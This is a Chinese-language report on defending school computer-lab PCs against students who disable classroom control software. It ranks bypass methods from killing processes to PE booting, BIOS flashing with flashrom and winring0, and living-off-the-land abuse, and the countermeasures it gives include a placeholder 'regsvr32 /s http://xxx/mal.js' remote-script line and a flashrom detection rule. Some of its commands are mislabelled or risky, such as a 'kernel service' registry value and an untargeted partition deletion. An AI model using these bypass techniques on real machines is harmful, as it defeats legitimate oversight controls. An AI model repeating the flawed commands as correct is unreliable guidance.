《学校机房终端安全全链条攻防分析与防御体系建设报告》

🛡️《学校机房终端安全全链条攻防分析与防御体系建设报告》

------ 从最基础到最高级攻击的完整应对方案（2025 实战版）

一、前言：为什么需要这份报告？

当前学校机房普遍存在"重管理、轻安全"的现象。控制软件虽能实现教学互动，但面对日益升级的绕过手段，已显乏力。

本报告基于真实攻防实践，梳理了从 最弱到最强的五类典型攻击路径 ，并提出一套 零硬件投入、可批量部署、可持续维护的全链条防御体系，旨在帮助学校构建"防得住、管得清、追得着"的终端安全环境。

二、攻击等级划分：从初级到顶级

等级	攻击类型	技术难度	危害程度	是否常见
🔹 初级	强行结束进程 + 重启	⭐☆☆☆☆	⭐⭐☆☆☆	✅ 极常见
🔹 中级	使用PE删除控制软件	⭐⭐⭐☆☆	⭐⭐⭐☆☆	✅ 常见
🔹 高级	本地硬盘安装PE，持久清除	⭐⭐⭐⭐☆	⭐⭐⭐⭐☆	⚠️ 存在
🔹 超高级	类CIH式运行时刷写BIOS	⭐⭐⭐⭐⭐	⭐⭐⭐⭐⭐	❗ 少数高手
🔴 终极	白加黑（Living-off-the-Land）	⭐⭐⭐⭐⭐+	⭐⭐⭐⭐⭐	⚠️ 隐蔽性强

三、各层级攻击方式与防御对策

🔹 第一层：初级攻击 ------ 强行结束进程 + 重启

🎯 攻击方式：

Ctrl+Shift+Esc 打开任务管理器
结束 StudentMain.exe
重启或强制关机

🛡 防御策略：

组策略禁用任务管理器
- 路径：gpedit.msc → 系统 → Ctrl+Alt+Del选项 → 禁用任务管理器

将控制软件设为关键服务

reg 复制代码

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\StudentMain]
"Type"=dword:00000010  ; 内核级服务

添加守护进程（Watchdog）
- 后台脚本检测主程序是否运行，异常则重启

✅ 效果：学生无法打开任务管理器，进程受保护。

🔹 第二层：中级攻击 ------ 使用PE删除控制软件

🎯 攻击方式：

插入U盘启动PE（如微PE）
删除极域文件、注册表项、服务
重启后控制失效

🛡 防御策略：

BIOS/UEFI 加密锁定
- 设置管理员密码
- 禁用 USB/Floppy/CD 启动
- 启用 Secure Boot + UEFI Only

删除恢复分区 & 禁用 WinRE

cmd 复制代码

reagentc /disable
diskpart → delete partition override

禁止大容量存储设备

reg 复制代码

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR]
"Start"=dword:00000004

✅ 效果：PE无法启动，外部设备被封死。

🔹 第三层：高级攻击 ------ 本地硬盘安装PE，持久清除

🎯 攻击方式：

下载PE镜像，写入本地硬盘隐藏分区
修改BCD引导项，添加PE启动
每次开机可进入PE彻底删改
清理痕迹，不留外设证据

🛡 防御策略：

锁定 BCD 引导配置

cmd 复制代码

bcdedit /set {default} nointegritychecks off
bcdedit /set {bootmgr} displaybootmenu no

启用固件写保护（SPI Lock）
- BIOS中启用 "Flash Write Protection"
监控BCD修改事件
- 使用 WMI 或脚本记录每次引导变更
物理封条 + 摄像头联动
- 记录异常启动行为

✅ 效果：无法新增启动项，任何修改都会被发现。

🔹 第四层：超高级攻击 ------ 类CIH式运行时刷写BIOS

🎯 攻击方式：

在Windows下运行 flashrom.exe + winring0.sys
直接调用 in/out 指令刷写 SPI Flash
关闭 Secure Boot，开启 USB 启动
重启后可自由进PE

🛡 防御策略：

强化 WDAC 策略
- 只允许 Microsoft 官方签名驱动加载
- 禁用测试签名模式
  cmd 复制代码
```
bcdedit /set TESTSIGNING OFF
```
部署 Sysmon 行为监控
- 检测 ImageLoad、DriverLoad、ProcessAccess
- 上报可疑驱动加载行为

轻量级拦截脚本

vbs 复制代码

If InStr(p.Name, "flashrom") > 0 Then p.Terminate

固件状态快照检测

powershell 复制代码

if (!(Confirm-SecureBootUEFI)) { Alert-Teacher "Secure Boot 被关闭" }

✅ 效果：即使工具伪装微软，行为异常也会被阻断。

🔴 第五层：终极攻击 ------ "白加黑"滥用合法程序

🎯 攻击方式：

利用 rundll32.exe payload.dll 加载恶意代码
使用 regsvr32 /s http://xxx/mal.js 执行无文件攻击
借 installutil.exe 提权并持久化

🛡 防御策略：

启用 ASR 规则（攻击面减少）

powershell 复制代码

Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A
Add-MpPreference -AttackSurfaceReductionRules_Actions Enabled

AppLocker 限制 DLL 加载
- 只允许系统目录中的DLL被高危程序加载

禁用或重命名高危系统程序

bat 复制代码

icacls rundll32.exe /deny Users:(X)
ren regsvr32.exe regsvr32.disabled

上下文审计 + 心理威慑
- 所有敏感操作日志上报教师机
- 教室摄像头标记"开机时段"
- 违规者通报批评

✅ 效果：合法程序不能滥用于非法目的。

四、综合防御架构图

text 复制代码

┌──────────────────────┐
│   物理与BIOS封锁        │ ← 密码 + Secure Boot + 禁USB启动
├──────────────────────┤
│   恢复环境清除          │ ← 删除WinRE + 恢复分区
├──────────────────────┤
│   引导流程控制          │ ← 锁定BCD + 延迟网络激活
├──────────────────────┤
│   运行时行为监控        │ ← WDAC + ASR + Sysmon + 脚本拦截
├──────────────────────┤
│   状态快照与审计追责     │ ← 固件校验 + 日志上报 + 摄像头联动
└──────────────────────┘

✅ 五层联动，缺一不可；

✅ 全程无需硬件还原卡或专用设备。

五、低成本落地建议

项目	成本	实现方式
BIOS设置	零成本	人工逐台配置
禁用WinRE	零成本	批处理脚本
组策略推送	零成本	GPO 或注册表导入
监控脚本	零成本	VBS/PS1 自启
日志接收	零成本	Python简易HTTP服务
教师培训	零成本	文档+演示

📌 总投入：≤500元（仅需一个智能插座）

六、预期成果

指标	当前水平	实施后目标
PE启动成功率	80%	<5%
控制软件持久清除率	60%	<10%
异常行为发现率	0%	100%
平均修复时间	30分钟/台	0（自动恢复）

七、课题应用价值

本方案突破传统"依赖硬件还原卡"的高成本思路，提出一种基于"固件锁定 + 行为监控 + 状态快照"的纯软件防御模型。通过系统原生安全机制，有效抵御从基础到顶级的各类绕过攻击，具有成本低、易部署、可持续的特点，为教育资源薄弱地区的信息化安全管理提供可行路径。

八、附件清单（可用于申报与演示）

bios_setting_guide.pdf ------ BIOS设置图文指南
disable_winre.bat ------ 一键禁用恢复环境
lock_bcd.cmd ------ 锁定引导配置
monitor_critical.vbs ------ 实时行为拦截脚本
check_integrity.ps1 ------ 固件状态检测
alert_server.py ------ 教师端日志接收服务
security_checklist.xlsx ------ 巡检表模板
presentation.pptx ------ 汇报PPT（含架构图、对比表）

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